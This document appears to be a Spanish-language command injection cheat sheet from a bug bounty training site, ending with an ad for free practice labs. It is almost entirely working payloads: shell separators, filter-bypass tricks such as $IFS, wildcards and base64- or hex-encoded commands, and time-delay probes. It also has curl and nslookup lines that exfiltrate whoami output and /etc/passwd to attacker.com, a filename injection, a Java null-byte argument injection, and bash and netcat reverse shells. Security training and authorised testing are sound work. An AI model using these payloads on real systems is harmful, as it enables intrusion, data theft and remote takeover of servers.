Cheatsheet Command Injection
Inyeccion de comandos OS
Referencia rápida
- →Probar separadores en orden: ||, &&, ;, |, %0a, backticks, $()
- →Para blind command injection, usar siempre time delay como primera confirmacion
- →$IFS y wildcards (/???/??t) permiten bypass de filtros de espacios y comandos
- →Los 25 parametros mas vulnerables: cmd, exec, command, ping, query, code, func, arg
- →Command injection en filename es un vector infravalorado - probar siempre en uploads
Separadores de comandos
Pipe
| id
Doble pipe (OR)
|| id
Ampersand
& id
Doble ampersand (AND)
&& id
Semicolon
; id
NewlineNewline URL-encoded
%0A id
Backticks (Unix)
`id`
Dollar subshell (Unix)
$(id)
Payloads con variantes de espaciado
Pipe con espacios variados
ls||id; ls ||id; ls|| id; ls || id
Ampersand con espacios
ls&&id; ls &&id; ls&& id; ls && id
IFS como separador$IFS es el separador de campos interno de bash
ls${IFS}idVariable vacia como espacio
ls${LS_COLORS:10:1}${IFS}idTab como espacio
cat%09/etc/passwd
Blind command injection
Time delay (sleep)Si la respuesta tarda 5 segundos = vulnerable
|| sleep 5
Time delay (ping)
|| ping -c 5 127.0.0.1
DNS callback (exfiltracion)
|| curl http://$(whoami).attacker.com
HTTP callback
|| curl http://attacker.com/?d=$(cat /etc/passwd | base64)
Output redirectionLuego acceder a /output.txt desde el browser
|| whoami > /var/www/html/output.txt
Nslookup exfiltration
|| nslookup $(whoami).attacker.com
Bypass de filtros
Comillas para romper comandoComillas simples dentro del comando se concatenan
w'h'o'a'm'i
Doble comillas
w"h"o"a"m"i"
Backslash
w\h\o\a\m\i
Variable de entornoWildcards: /bin/cat /etc/passwd
/???/??t /???/p??s??
Base64 encoded2hvYW1p = whoami en base64
echo d2hvYW1p | base64 -d | bash
Hex encode
echo -e '\x77\x68\x6f\x61\x6d\x69' | bash
Vectores de inyeccion
Command injection en filenameProbar en upload forms cuando el server procesa el filename
filename="test || sleep 30 ||.gif"
Java null byte separationJava usa null bytes para separar argumentos de proceso
?prefix=x%00--exec=/bin/bash%20-c%20'id'%00--remote=file:///%00x
Reverse shell (bash)
; bash -i >& /dev/tcp/attacker.com/4444 0>&1
Reverse shell (netcat)
; nc -e /bin/bash attacker.com 4444
Herramientas
commix
Herramienta automatizada de deteccion y explotacion de command injection
python3 commix.py -u "https://target.com/ping?ip=127.0.0.1" --batch
Burp Collaborator
Servidor de callbacks para confirmar blind command injection via DNS/HTTP
Burp Suite > Burp Collaborator Client
Interactsh
Alternativa open-source a Burp Collaborator para callbacks OOB
interactsh-client -v
Contenido relacionado
¿Listo para practicar?
Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.
Ver labs de prácticahunters entrenando
labs de reportes reales
completaciones
en bounties practicados
Deja de leer sobre bugs y empieza a cazarlos
Crea tu cuenta gratis y practica sobre labs basados en reportes reales que pagaron miles de euros. La Academy es gratis para siempre.
Sin tarjeta · Academy gratis · cancela cuando quieras